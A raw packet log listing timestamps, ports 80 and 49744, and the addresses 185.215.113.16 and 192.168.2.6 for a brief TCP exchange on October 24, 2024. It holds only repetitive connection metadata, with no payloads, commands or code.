Oct 24, 2024 18:08:16.864717007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.864753008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.864785910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.864873886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.864873886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.865032911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.865066051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.865099907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.865176916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.867187023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867240906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867274046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867336035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.867336035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.867435932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867470026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867503881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867516041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.867763996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867798090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867830992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.867850065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.867930889 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.868083954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868139029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868175030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868185997 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.868217945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868252993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868287086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.868798018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868851900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868858099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.868885040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.868946075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.898370028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898432016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898484945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898497105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.898566008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898601055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898633003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898659945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.898669958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898683071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.898705006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.898812056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.944176912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.944231987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.944282055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.944288015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.944315910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.944350004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.944380045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.944391966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.944463015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.984071970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.984107971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.984142065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.984183073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.984618902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.984674931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.984679937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.984708071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.984750986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.987041950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987076998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987112999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987124920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.987144947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987180948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987210035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.987390041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987420082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987462997 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.987474918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987503052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987555981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987556934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.987588882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987623930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987641096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.987658024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987692118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.987698078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.987732887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.988245964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.988280058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.988313913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.988334894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.018865108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.018893957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.018909931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.018935919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.018978119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.019195080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.019212008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.019228935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.019243956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.019254923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.019260883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.019284964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.019808054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.019854069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.019953012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.019970894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.020126104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.064162016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.064358950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.064394951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.064450979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.065002918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.065062046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.065146923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.065181971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.065232038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.103506088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.103581905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.103631020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.103635073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.103847027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.103935957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.103972912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.103982925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.104012966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.106308937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106343985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106376886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106395006 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.106410980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106479883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.106518984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106712103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106741905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106755972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.106798887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106833935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.106843948 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.107100010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107132912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107156992 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.107166052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107199907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107249022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.107604027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107661009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107703924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.107712984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107748032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107781887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.107790947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.107839108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.137013912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.137052059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.137149096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.137182951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.137196064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.137217045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.137224913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.137249947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.137285948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.137290001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.138052940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.138086081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.138112068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.138139963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.138178110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.138211012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.138221979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.138278961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.183000088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.183063030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.183099031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.183155060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.183157921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.183192015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.183224916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.183245897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.183264971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.222853899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.222891092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.222923040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.222979069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.223162889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.223196983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.223228931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.223232031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.223288059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.225598097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.225631952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.225665092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.225691080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.225699902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.225733995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.225764990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.225790977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.225809097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.226052046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226105928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226138115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226150990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.226461887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226494074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226520061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.226526976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226725101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226782084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226794004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.226831913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226865053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226876974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.226901054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.226908922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.227464914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.227498055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.227511883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.227530956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.227572918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.256510019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256561041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256594896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256622076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.256660938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256714106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.256719112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256753922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256787062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256819010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.256819963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.256876945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.257658958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.257690907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.257723093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.257761955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.302429914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302501917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302537918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302536011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.302572012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302608013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302622080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.302655935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.302681923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302733898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302779913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.302783012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.342338085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.342453003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.342592955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.342622995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.342668056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.342678070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.342711926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.342842102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.344952106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345006943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345038891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345062971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.345164061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345206976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.345278025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345310926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345352888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.345426083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345480919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345514059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345557928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.345768929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345804930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345851898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.345889091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345932007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.345947027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.345982075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346014977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346024036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.346396923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346431971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346443892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.346467018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346570015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.346658945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346723080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346777916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.346779108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346816063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346848965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.346878052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.375963926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376000881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376035929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376049042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.376101971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.376177073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376210928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376260042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.376266003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376298904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376332998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.376349926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.377257109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.377306938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.377336979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.377371073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.377424955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.422477961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422549009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422585964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422619104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422652960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422652006 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.422687054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422714949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.422724962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422760963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.422776937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.422931910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.462255001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.462304115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.462342024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.462356091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.464670897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.464723110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.464730024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.464786053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.464822054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.464829922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.464854956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.464915991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.464957952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.464958906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.465039015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.465116024 CEST	80	49744	185.215.113.16	192.168.2.6
